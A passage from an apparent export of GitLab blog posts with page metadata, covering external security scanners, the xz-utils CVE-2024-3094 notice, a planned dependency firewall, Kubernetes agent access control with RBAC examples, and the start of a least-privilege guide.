converter to view external scanner vulnerabilities in the GitLab merge request widget. These operations can be completed from the pipeline as shown, but also from compliance pipelines and pipeline execution policies, which allow for the enforcement of external scanners. With GitLab Ultimate. you have access to a full DevSecOps platform that allows you to use our scanners or bring your own, but build a shift-left workflow that empowers developers to remediate vulnerabilities before they hit production.\n\n> [Trial GitLab Ultimate today](https://gitlab.com/-/trials/) to begin merging external scanners.\n\n## More security scanning resources\n\n* [Security scanner integration documentation](https://docs.gitlab.com/ee/development/integrations/secure.html)\n* [How to integrate custom security scanners into GitLab](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/)\n* [GitLab Trust Center](https://about.gitlab.com/security/)\n",[14,696,2093],{"slug":2192,"featured":6,"template":677},"integrate-external-security-scanners-into-your-devsecops-workflow","content:en-us:blog:integrate-external-security-scanners-into-your-devsecops-workflow.yml","Integrate External Security Scanners Into Your Devsecops Workflow","en-us/blog/integrate-external-security-scanners-into-your-devsecops-workflow.yml","en-us/blog/integrate-external-security-scanners-into-your-devsecops-workflow",{"_path":2198,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2199,"content":2204,"config":2210,"_id":2212,"_type":16,"title":2213,"_source":17,"_file":2214,"_stem":2215,"_extension":20},"/en-us/blog/important-information-regarding-xz-utils-cve-2024-3094",{"title":2200,"description":2201,"ogTitle":2200,"ogDescription":2201,"noIndex":6,"ogImage":746,"ogUrl":2202,"ogSiteName":767,"ogType":768,"canonicalUrls":2202,"schema":2203},"Important information regarding xz-utils (CVE-2024-3094)","Affected software not used for GitLab.com, GitLab Dedicated, or default self-hosted software packages.","https://about.gitlab.com/blog/important-information-regarding-xz-utils-cve-2024-3094","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Important information regarding xz-utils (CVE-2024-3094)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Shrishti Choudhary\"}],\n        \"datePublished\": \"2024-03-30\",\n      }",{"title":2200,"description":2201,"authors":2205,"heroImage":746,"date":2207,"body":2208,"category":14,"tags":2209},[2206],"Shrishti Choudhary","2024-03-30","GitLab is aware of [CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094), where malicious code was back-doored into the [xz-utils](https://en.wikipedia.org/wiki/XZ_Utils) lossless compression software suite, affecting xz-utils Versions 5.6.0 and 5.6.1. Upon investigation, GitLab determined that it does not use the affected software version for GitLab.com, GitLab Dedicated, or default self-hosted software packages. \n\nGitLab self-hosted customers should check locally installed packages to ensure that they do not have the packages xz or xz-utils Versions 5.6.0 or 5.6.1 installed. If it is installed, it may be safer to downgrade them to 5.4.x until the vendor provides a safe version, or confirms the latest versions are not affected. If possible, the hosts and containers with the potentially malicious version should be brought down and replaced in case they have been compromised.\n\nMicrosoft-owned GitHub has since [disabled the XZ Utils repository](https://github.com/tukaani-project/xz) maintained by the Tukaani Project \"due to a violation of GitHub's terms of service.\"",[14,798],{"slug":2211,"featured":92,"template":677},"important-information-regarding-xz-utils-cve-2024-3094","content:en-us:blog:important-information-regarding-xz-utils-cve-2024-3094.yml","Important Information Regarding Xz Utils Cve 2024 3094","en-us/blog/important-information-regarding-xz-utils-cve-2024-3094.yml","en-us/blog/important-information-regarding-xz-utils-cve-2024-3094",{"_path":2217,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2218,"content":2224,"config":2229,"_id":2232,"_type":16,"title":2233,"_source":17,"_file":2234,"_stem":2235,"_extension":20},"/en-us/blog/gitlab-security-release-16-10-1-16-9-3-16-8-5",{"title":2219,"description":2220,"ogTitle":2219,"ogDescription":2220,"config":2221,"ogImage":1381,"ogUrl":2222,"ogSiteName":767,"ogType":768,"canonicalUrls":2222,"schema":2223},"GitLab Security Release: 16.10.1, 16.9.3, 16.8.5","Learn more about GitLab Security Release: 16.10.1, 16.9.3, 16.8.5 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-10-1-16-9-3-16-8-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.10.1, 16.9.3, 16.8.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kevin Morrison\"}],\n        \"datePublished\": \"2024-03-27\",\n      }",{"title":2219,"description":2220,"authors":2225,"heroImage":1381,"date":2226,"body":2227,"category":14,"tags":2228},[1548],"2024-03-27","This is the post for [GitLab Security Release: 16.10.1, 16.9.3, 16.8.5](https://about.gitlab.com/releases/2024/03/27/security-release-gitlab-16-10-1-released/).",[1292,14,1573],{"slug":2230,"featured":6,"template":677,"externalUrl":2231},"gitlab-security-release-16-10-1-16-9-3-16-8-5","https://about.gitlab.com/releases/2024/03/27/security-release-gitlab-16-10-1-released/","content:en-us:blog:gitlab-security-release-16-10-1-16-9-3-16-8-5.yml","Gitlab Security Release 16 10 1 16 9 3 16 8 5","en-us/blog/gitlab-security-release-16-10-1-16-9-3-16-8-5.yml","en-us/blog/gitlab-security-release-16-10-1-16-9-3-16-8-5",{"_path":2237,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2238,"content":2243,"config":2248,"_id":2250,"_type":16,"title":2251,"_source":17,"_file":2252,"_stem":2253,"_extension":20},"/en-us/blog/coming-soon-gitlab-dependency-firewall",{"title":2239,"description":2240,"ogTitle":2239,"ogDescription":2240,"noIndex":6,"ogImage":1483,"ogUrl":2241,"ogSiteName":767,"ogType":768,"canonicalUrls":2241,"schema":2242},"Coming soon: GitLab dependency firewall","Learn how this new feature will help organizations avoid supply chain software attacks by warning them or blocking the download based on a project's policy.","https://about.gitlab.com/blog/coming-soon-gitlab-dependency-firewall","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Coming soon: GitLab dependency firewall\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2024-03-26\",\n      }",{"title":2239,"description":2240,"authors":2244,"heroImage":1483,"date":2245,"body":2246,"category":14,"tags":2247},[815],"2024-03-26","The [Maven dependency proxy](https://about.gitlab.com/blog/gitlabs-maven-dependency-proxy-is-available-in-beta/) was released in GitLab 16.8. This new feature allows organizations to proxy and cache packages from one upstream repository to a GitLab project, which can help reduce reliance on external sources.\n\nHowever, with this added efficiency there is an added security risk of software supply chain attacks like [typosquatting](https://www.mcafee.com/learn/what-is-typosquatting) and other dependency confusion attacks. Supply chain attacks are when attackers try to get developers and CI/CD pipelines to include malicious packages to increase the surface area of the attack.\n\nThe [dependency firewall](https://gitlab.com/groups/gitlab-org/-/epics/5133), planned for the second half of 2024, will help organizations avoid these attacks by warning them or blocking the download based on their project's policy.\n\n## What is the dependency firewall?\n\nThe dependency firewall is the first line of defense when downloading packages from the internet.\n\nAt a high level, GitLab wants to build the following capabilities into the dependency firewall:\n\n* prevent malicious packages from entering the software supply chain\n* check each new package against GitLab [policy](https://docs.gitlab.com/ee/user/application_security/policies/)\n* quarantine packages for review before they are available\n* manage quarantined packages\n* report package usage\n\n### What does a dependency firewall policy do?\n\nThe planned dependency firewall policy will do two things: `warn` and `fail`. You will be able to create a **dependency firewall policy** that warns your organization when certain conditions are met or quarantines the package. For example, you can create a policy that prevents the package from being downloaded if it has any known critical vulnerabilities. Or you can simply add a warning for packages with known, but less severe, vulnerabilities. \n\n**Note:** The warnings can be limited to the log files for the minimal viable change (MVC).\n\nThe first rule we'll support will be as follows:\n```\n1. When `Security scan`\n2. Select \"Scanners\" (dependency scanning)\n3. With `No exceptions` that finds `Any` vulnerabilities matching\n4. `Critical` severity\n```\n\nFor the MVC, we will focus on adding a warning when a package downloaded through the dependency proxy has any known critical vulnerabilities. \n\nBeyond the MVC, we will add support for the following:\n- lower severity vulnerabilities\n- warnings in the package registry UI list view\n- rules to quarantine packages\n- the ability to review and update the quarantine\n- the ability to add a warning to the security vulnerability report\n\n## More about rules\n\n1. Rules that are `warn` only can leverage a background job. Rules that `fail` need to be handled by the web request.\n1. Rules handled by a background job can have an extended scope. For example, we can inspect the package information and open the archive to get the metadata, inspect it, and provide more robust rules and conditions.\n1. Rules handled within the web request must be fast and scalable. This will limit what we can do in these cases.\n\n## Next steps\n\nTo learn more or contribute to the dependency firewall, please [visit our dependency firewall epic](https://gitlab.com/groups/gitlab-org/-/epics/5133).\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[14,798,715,110],{"slug":2249,"featured":6,"template":677},"coming-soon-gitlab-dependency-firewall","content:en-us:blog:coming-soon-gitlab-dependency-firewall.yml","Coming Soon Gitlab Dependency Firewall","en-us/blog/coming-soon-gitlab-dependency-firewall.yml","en-us/blog/coming-soon-gitlab-dependency-firewall",{"_path":2255,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2256,"content":2261,"config":2266,"_id":2268,"_type":16,"title":2269,"_source":17,"_file":2270,"_stem":2271,"_extension":20},"/en-us/blog/were-combining-patch-and-security-releases",{"title":2257,"description":2258,"ogTitle":2257,"ogDescription":2258,"noIndex":6,"ogImage":746,"ogUrl":2259,"ogSiteName":767,"ogType":768,"canonicalUrls":2259,"schema":2260},"We’re combining patch and security releases","This improvement in our release process matches the industry standard and will help GitLab users get information about security and bug fixes sooner.","https://about.gitlab.com/blog/were-combining-patch-and-security-releases","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We’re combining patch and security releases\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Wiskow\"}],\n        \"datePublished\": \"2024-03-26\",\n      }",{"title":2257,"description":2258,"authors":2262,"heroImage":746,"date":2245,"body":2264,"category":14,"tags":2265},[2263],"Sam Wiskow","Security releases are an important part of modern software delivery. Historically, GitLab committed to one security release a month, with patch releases delivered additionally throughout the month as they became available. We recognize that this has been a suboptimal user experience and the majority of users would prefer a more defined schedule and structure for these releases to make planning for them easier. \n\nTo address these concerns, starting in April, we will combine patch and security releases along with a more frequent patch release schedule. Planned patch releases will now happen twice a month – on the second and fourth Wednesdays – and will contain security and bug fixes.\n\nFor more details, see the [patch release section](https://handbook.gitlab.com/handbook/engineering/releases/#patch-releases-overview) on our Releases page in the GitLab Handbook.\n\n## What does this change mean for you?\n\nIn April, we will rebrand ‘patch’ and ‘security’ releases and combine them into ‘patch’ releases, following [semantic versioning](https://semver.org/) standards. \n\nAdditionally, we have doubled the number of planned patch releases we will deliver each month. There will now be two planned patch releases for every GitLab minor version, which may contain both bug and security fixes. We will be able to deliver fixes to users sooner and improve the overall UX of security releases by operating on a regular schedule.\n\nSubscribers to the security email list will continue to receive their notifications as usual and the release blog posts will continue to publish regularly, likely with some minor changes to the template to highlight security fixes. \n\nIf you have any questions about the change or would like to give feedback, please post a comment on [our feedback issue](https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/20071).",[1292,14,798,1892],{"slug":2267,"featured":6,"template":677},"were-combining-patch-and-security-releases","content:en-us:blog:were-combining-patch-and-security-releases.yml","Were Combining Patch And Security Releases","en-us/blog/were-combining-patch-and-security-releases.yml","en-us/blog/were-combining-patch-and-security-releases",{"_path":2273,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2274,"content":2280,"config":2288,"_id":2290,"_type":16,"title":2291,"_source":17,"_file":2292,"_stem":2293,"_extension":20},"/en-us/blog/simplify-your-cloud-account-management-for-kubernetes-access",{"title":2275,"description":2276,"ogTitle":2275,"ogDescription":2276,"noIndex":6,"ogImage":2277,"ogUrl":2278,"ogSiteName":767,"ogType":768,"canonicalUrls":2278,"schema":2279},"Simplify your cloud account management for Kubernetes access","In this tutorial, learn how to use the GitLab agent for Kubernetes and its user impersonation features for secure cluster access.\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670563/Blog/Hero%20Images/cloudcomputing.jpg","https://about.gitlab.com/blog/simplify-your-cloud-account-management-for-kubernetes-access","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Simplify your cloud account management for Kubernetes access\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2024-03-19\",\n      }",{"title":2275,"description":2276,"authors":2281,"heroImage":2277,"date":2283,"body":2284,"category":14,"tags":2285},[2282],"Viktor Nagy","2024-03-19","We hear you: Managing cloud accounts is risky, tedious, and time-consuming, but also a must-have in many situations. You might run your Kubernetes clusters with one of the hyperclouds, and your engineers need to access at least the non-production cluster to troubleshoot issues quickly and efficiently. Sometimes, you also need to give special, temporary access to engineers on a production cluster.\n\nYou have also told us that access requests might not come very often, but when they do, they are urgent, and given the high security requirements around the process, they can take close to a week to fulfill. \n\nBy giving access to your cloud infrastructure, you automatically expose yourself to risks. As a result, it's a best practice to restrict access only to the resources the given user must have access to. However, cloud identity and access management (IAM) is complex by nature. \n\nIf you are using Kubernetes and you need to give access specifically to your clusters only, GitLab can help. Your user will be able to identify with your cluster, so you can configure the Kubernetes role-based access controls (RBAC) to restrict their access within the cluster. With GitLab, and specifically the GitLab agent for Kubernetes, you can start at the last step and focus only on the RBAC aspect.\n\n## What is the GitLab agent for Kubernetes?\n\nThe GitLab agent for Kubernetes is a set of GitLab components that allows a permanent, bi-directional streaming channel between your GitLab instance and your Kubernetes cluster (one agent per cluster). Once the agent connection is configured, you can share it across projects and groups within your GitLab instance, allowing a single agent to serve all the access needs of a cluster.\n\nCurrently, the agent has several features to simplify your Kubernetes management tasks:\n\n* [Integrates with GitLab CI/CD](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html) for push-based deployments or regular cluster management jobs. The integration exposes a Kubernetes context per available agent in the Runner environment, and any tool that can take a context as an input (e.g. kubectl or helm CLI) can reach your cluster from the CI/CD jobs.\n* Integrates with the GitLab GUI, specifically the environment pages. Users can configure [an environment to show the Kubernetes resources](https://docs.gitlab.com/ee/ci/environments/kubernetes_dashboard.html) available in a specific namespace, and even set up a Flux resource to track the reconciliation of your applications.\n* Enables users to use the GitLab-managed channel to [connect to the cluster from their local laptop](https://docs.gitlab.com/ee/user/clusters/agent/user_access.html#access-a-cluster-with-the-kubernetes-api), without giving them cloud-specific Kubernetes access tokens.\n* Supports [Flux GitRepository reconciliations](https://docs.gitlab.com/ee/user/clusters/agent/gitops.html#immediate-git-repository-reconciliation) by triggering a reconciliation automatically on new commits in repositories the agent can access.\n* [Runs operational container scans](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) and shows the reports in the GitLab UI.\n* Enables you to enrich the [remote development](https://docs.gitlab.com/ee/user/project/remote_development/) offering with [workspaces](https://docs.gitlab.com/ee/user/workspace/).\n\n> Try simplifying your cloud account management for Kubernetes access today with [a free trial of GitLab Ultimate](https://gitlab.com/-/trials/new).\n\n## The agent and access management\n\nThe GitLab agent for Kubernetes, which is available for GitLab Ultimate and Premium, impersonates various GitLab-specific users when it acts on behalf of GitLab in the cluster.\n\n* For the GitLab CI/CD integration, the agent impersonates the CI job as the user, and enriches the user with group specific metadata that describe the project and the group.\n\n* For the environment and local connections, the agent impersonates the GitLab user using the connection, and similarly to the CI/CD integration, the impersonated Kubernetes user is enriched with group specific metadata, like roles in configured groups.\n\nAs this article is about using the agent instead of cloud accounts for cluster access, let’s focus on the environment and local connections setup.\n\n## An example setup\n\nTo offer a realistic setup, let’s assume that in our GitLab instance we have the following groups and projects:\n\n* `/app-dev-group/team-a/service-1`\n* `/app-dev-group/team-a/service-2`\n* `/app-dev-group/team-b/service-3`\n* `/platform-group/clusters-project`\n\nIn the above setup, the agents are registered against the `clusters-project` project and, in addition to other code, the project contains the agent configuration files:\n\n* `.gitlab/agents/dev-cluster/config.yaml`\n* `.gitlab/agents/prod-cluster/config.yaml`\n\nThe `dev-cluster` and `prod-cluster` directory names are actually the agent names as well, and registered agents and related events can be seen within the projects “Operations/Kubernetes clusters” menu item. The agent offers some minimal features by default, without a configuration file. To benefit from the user access features and to share the agent connection across projects and groups, a configuration file is required.\n\nLet’s assume that we want to configure the agents in the following way:\n\n* For the development cluster connection:\n\n    * Everyone with at least developer role in team-a should be able to read-write their team specific namespace `team-a` only.\n    * Everyone with group owner role in team-a should have namespace admin rights on the `team-a` namespace only.\n    * Members of `team-b` should not be able to access the cluster.\n\n* For the production cluster connection:\n\n    * Everyone with at least developer role in team-a should be able to read-only their team specific namespace `team-a` only.\n    * Members of `team-b` should not be able to access the cluster.\n\nFor the development cluster, the above setup requires an agent configuration file in `.gitlab/agents/dev-cluster/config.yaml` as follows:\n\n```yaml\nuser_access:\n  access_as:\n    user: {}\n  groups:\n    - id: app-dev-group/team-a # group_id=1\n    - id: app-dev-group/team-b # group_id=2\n```\n\nIn this code snippet we added the group ID of the specific groups in a comment. We will need these IDs in the following Kubernetes RBAC definitions:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: team-a-dev-can-edit\n  namespace: team-a\nroleRef:\n  name: edit\n  kind: ClusterRole\n  apiGroup: rbac.authorization.k8s.io\nsubjects:\n  - name: gitlab:group_role:1:developer\n    kind: Group\n```\n\nand...\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: team-a-owner-can-admin\n  namespace: team-a\nroleRef:\n  name: admin\n  kind: ClusterRole\n  apiGroup: rbac.authorization.k8s.io\nsubjects:\n  - name: gitlab:group_role:1:owner\n    kind: Group\n```    \n\nThe above two code snippets can be applied to the cluster with the GitLab Flux integration or manually via `kubectl`. They describe role bindings for the `team-a` group members. It’s important to note that only the groups and projects from the agent configuration file can be targeted as RBAC groups. Therefore, the following RBAC will not work as the impersonated user resources don’t know about the referenced projects:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: team-a-dev-can-edit\n  namespace: team-a\nroleRef:\n  name: edit\n  kind: ClusterRole\n  apiGroup: rbac.authorization.k8s.io\nsubjects:\n  - name: gitlab:project_role:3:developer # app-dev-group/team-a/service-1 project ID is 3\n    kind: Group\n```\n\nFor the production cluster we need the same agent configuration under `.gitlab/agents/prod-cluster/config.yaml` and the following RBAC definitions:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: team-a-dev-can-read\n  namespace: team-a\nroleRef:\n  name: view\n  kind: ClusterRole\n  apiGroup: rbac.authorization.k8s.io\nsubjects:\n  - name: gitlab:group_role:1:developer\n    kind: Group\n```\n\nThese configurations allow project owners to set up the environment pages so members of `team-a` will be able to see the status of their cluster workloads in real-time and they should be able to access the cluster from their local computers using their favorite Kubernetes tools.\n\n## Explaining the magic\n\nIn the previous section, you learned how to set up role bindings for group members with specific roles. In this section, let's dive into the impersonated user and their attributes.\n\nWhile Kubernetes does not have a User or Group resource, its authentication and authorization scheme pretends to have it. Users have a username, can belong to groups, and can have other extra attributes.\n\nThe impersonated GitLab user carries the `gitlab:username:\u003Cusername>` in the cluster. For example, if our imaginary user Béla has the GitLab username `bela`, then in the cluster the impersonated user will be called `gitlab:username:bela`. This allows targeting of a specific user in the cluster.\n\nEvery impersonated user belongs to the `gitlab:user` group. Moreover, for every project and group listed in the agent configuration, we check the current user’s role and add it as a group. This is more easily understood through an example, so let’s modify a little bit the agent configuration we used above.\n\n```yaml\nuser_access:\n  access_as:\n    user: {}\n  projects:\n    - id: platform-group/clusters-project # project_id=1\n  groups:\n    - id: app-dev-group/team-a # group_id=1\n    - id: app-dev-group/team-b # group_id=2\n```\n\nFor the sake of example, let’s assume the contrived setup that our user Béla is a maintainer in the `platform-group/clusters-project` project, is a developer in `app-dev-group/team-a` group, and an owner of the `app-dev-group/team-a/service-1` project. In this case, the impersonated Kubernetes user `gitlab:username:bela` will belong to the following groups:\n\n* `gitlab:user`\n* `gitlab:project_role:1:developer`\n* `gitlab:project_role:1:maintainer`\n* `gitlab:group_role:1:developer`\n\nWhat happens is that we check Béla’s role in every project and group listed in the agent configuration, and set up all the roles that Béla has there. As Béla is a maintainer in `platform-group/clusters-project` (project ID 1), we add him to both the `gitlab:project_role:1:developer` and `gitlab:project_role:1:maintainer` groups. Note as well, that we did not add any groups for the `app-dev-group/team-a/service-1` project, only its parent group that appears in the agent configuration.\n\n## Simplifying cluster management\n\nSetting up the agent and configuring the cluster as presented above is everything you need to model the presented access requirements in the cluster. You don’t have to manage cloud accounts or add in-cluster account management tools like Dex. The agent for Kubernetes and its user impersonation features can simplify your infrastructure management work.\n\nWhen new people join your company, once they become members of the `team-a` they immediately get access to the clusters as configured above. Similarly, as someone leaves your company, you just have to remove them from the group and their access will be disabled. As we mentioned, the agent supports local access to the clusters, too. As that local access runs through the GitLab-side agent component, it will be disabled as well when users are removed from the `team-a` group.\n\nSetting up the agent takes around two-to-five minutes per cluster. Setting up the required RBAC might take another five minutes. In 10 minutes, users can get controlled access to a cluster, saving days of work and decreasing the risks associated with cloud accounts.\n\n## Get started today\n\nIf you want to try this approach and allow access to your colleagues to some of your clusters without managing cloud accounts, the following documentation pages should help you to get started:\n\n- On self-managed GitLab instances, you might need to [configure the GitLab-side component (called KAS)](https://docs.gitlab.com/ee/administration/clusters/kas.html) of the agent for Kubernetes first.\n\n- You can learn more about [all the Kubernetes management features here](https://docs.gitlab.com/ee/user/clusters/agent/), or you can immediately dive in by [installing an agent](https://docs.gitlab.com/ee/user/clusters/agent/install/), and [granting users access to Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/user_access.html).\n\n- You’ll likely want to [configure a Kubernetes dashboard](https://docs.gitlab.com/ee/ci/environments/kubernetes_dashboard.html) for your deployed application.\n\n> Try simplifying your cloud account management for Kubernetes access today with [a free trial of GitLab Ultimate](https://gitlab.com/-/trials/new).",[2286,14,2287,696],"cloud native","kubernetes",{"slug":2289,"featured":92,"template":677},"simplify-your-cloud-account-management-for-kubernetes-access","content:en-us:blog:simplify-your-cloud-account-management-for-kubernetes-access.yml","Simplify Your Cloud Account Management For Kubernetes Access","en-us/blog/simplify-your-cloud-account-management-for-kubernetes-access.yml","en-us/blog/simplify-your-cloud-account-management-for-kubernetes-access",{"_path":2295,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2296,"content":2302,"config":2307,"_id":2310,"_type":16,"title":2311,"_source":17,"_file":2312,"_stem":2313,"_extension":20},"/en-us/blog/gitlab-security-release-16-9-2-16-8-4-16-7-7",{"title":2297,"description":2298,"ogTitle":2297,"ogDescription":2298,"config":2299,"ogImage":1381,"ogUrl":2300,"ogSiteName":767,"ogType":768,"canonicalUrls":2300,"schema":2301},"GitLab Security Release: 16.9.2, 16.8.4, 16.7.7","Learn more about GitLab Security Release: 16.9.2, 16.8.4, 16.7.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-9-2-16-8-4-16-7-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.9.2, 16.8.4, 16.7.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-03-06\",\n      }",{"title":2297,"description":2298,"authors":2303,"heroImage":1381,"date":2304,"body":2305,"category":14,"tags":2306},[1467],"2024-03-06","This is the [GitLab Security Release: 16.9.2, 16.8.4, 16.7.7 blog](https://about.gitlab.com/releases/2024/03/06/security-release-gitlab-16-9-2-released/).",[1292,1573],{"slug":2308,"featured":6,"template":677,"externalUrl":2309},"gitlab-security-release-16-9-2-16-8-4-16-7-7","https://about.gitlab.com/releases/2024/03/06/security-release-gitlab-16-9-2-released/","content:en-us:blog:gitlab-security-release-16-9-2-16-8-4-16-7-7.yml","Gitlab Security Release 16 9 2 16 8 4 16 7 7","en-us/blog/gitlab-security-release-16-9-2-16-8-4-16-7-7.yml","en-us/blog/gitlab-security-release-16-9-2-16-8-4-16-7-7",{"_path":2315,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2316,"content":2322,"config":2326,"_id":2328,"_type":16,"title":2329,"_source":17,"_file":2330,"_stem":2331,"_extension":20},"/en-us/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab",{"title":2317,"description":2318,"ogTitle":2317,"ogDescription":2318,"noIndex":6,"ogImage":2319,"ogUrl":2320,"ogSiteName":767,"ogType":768,"canonicalUrls":2320,"schema":2321},"The ultimate guide to least privilege access with GitLab","This tutorial demonstrates how to achieve least privilege access using custom roles, security policies, compliance pipelines, branch protections, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099438/Blog/Hero%20Images/Blog/Hero%20Images/built-in-security_built-in-security.jpeg_1750099438377.jpg","https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to least privilege access with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-03-06\",\n      }",{"title":2317,"description":2318,"authors":2323,"heroImage":2319,"date":2304,"body":2324,"category":14,"tags":2325},[856],"The principle of least privilege ([PoLP](https://csrc.nist.gov/glossary/term/least_privilege)) is a concept in which a user's access rights should be limited to the bare minimum needed for them to complete the tasks required within their respective roles. By implementing PoLP you can enhance your organization's [security posture](https://csrc.nist.gov/glossary/term/security_posture), complementing zero trust, in the following ways:\n\n- **Reduction of attack surface:** If credentials are compromised, the breach will be limited to only the paths where the compromised account has access.\n- **Protection against human error:** Users will not be able to perform actions that are not required for their role.\n- **Adherence to compliance:** Separation of duties and least privilege best practices are required for several compliance mandates such as SOC2 and HIPAA.\n- **Reduced system downtime:** By preventing everyone from accessing critical parts of the software development lifecycle (SDLC), there is less likelihood of downtime.\n\nGitLab provides a variety of different features that allow you to customize the actions a user can perform which assist in the achievement of PoLP. These features include:\n\n- **[Custom roles and granular security permissions](#custom-roles-and-granular-security-permissions):** Allows creation of roles with permissions that are specific to particular functions required by the organization.\n- **[Security policies](#security-policies):** Allows policies to be created that prevent insecure code from being merged into production branches without approval, and run security scanners regardless of your pipeline definition.\n- **[Branch protections and Code Owners](#branch-protections-and-code-owners):** Imposes further restrictions on certain branches to control permissions such as who can merge, push, etc. to defined branches.\n- **[Compliance pipelines and frameworks](#compliance-pipelines-and-frameworks):** Identifies that your project has certain compliance requirements or needs additional oversight, enforcing a pipeline configuration to the projects on which it is applied.\n\nIn this blog post, you'll learn each of the features mentioned, how they improve your organization's security posture, as well as how to implement them.\n\nWatch my video, which introduces you to achieving PoLP with GitLab:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jvZ3eqWMeSY?si=DedSYiBNy2kTLJKo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Custom roles and granular security permissions\n\nGitLab allows you to create [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html), which apply additional permissions to base roles to meet the security needs of your organization. The available [base roles](https://docs.gitlab.com/ee/user/permissions.html#roles) are as follows:\n\n- Guest\n- Reporter\n- Developer\n- Maintainer\n- Owner\n\nEach base role applies a particular set of permissions to a user. Base roles apply different permissions for [group members](https://docs.gitlab.com/ee/user/permissions.html#group-members-permissions), [project members](https://docs.gitlab.com/ee/user/permissions.html#project-members-permissions), and in [project features](https://docs.gitlab.com/ee/user/permissions.html#project-features-permissions). For example, the table below shows which roles can view the project [dependency list](https://docs.gitlab.com/ee/user/application_security/dependency_list/):\n\n| Base role    | Can view project dependency list     |\n| ---------- | ---------- |\n| Guest      | ❌       |\n| Reporter      | ❌       |\n| Developer      | ✅       |\n| Maintainer      | ✅       |\n| Owner       | ✅     |\n\n\u003Cbr>\u003C/br>\nThe dependency list also known as a software bill of materials ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)), displays your project's dependencies\nand key details about those dependencies. It makes sense that only those actively working on a project should\nbe able to see what dependencies are present to limit any exploitation of your application using its dependencies.\n\nHowever, there are cases in which a Guest may need to see the SBOM to assist the organization in\n[achieving compliance](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/). By using custom roles, a new role can be created with all the limited permissions of the Guest role, and additionally, the ability to view the project dependency list can be added. Therefore, we have a Guest assisting us with compliance with the least privileged access required for their job.\n\nWatch my video on custom roles and granular security permissions with GitLab:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/WyrhkpO5WkI?si=4B4mNYNK9UyNrru8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Granular permissions\n\nAs of the GitLab 16.8 release, the following granular permissions can be added to any base role:\n\n- Viewing project code\n- Viewing vulnerability reports\n- Changing the status of vulnerabilities\n- Viewing SBOMs\n- Approving merge requests\n- Managing project/group access tokens\n- Adding/removing group members\n- Archiving/unarchiving/removing projects\n- Admin Terraform state\n\nWe will continue to add [more granular permissions](https://docs.gitlab.com/ee/user/custom_roles/abilities.html) with each GitLab release. You can learn more about our roadmap for this feature by referring to the [Granular Security Permissions Epic](https://gitlab.com/groups/gitlab-org/-/epics/10684) and provide feedback in the [customer feedback Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/391760). You also have the ability to contribute to GitLab and [develop your own granular 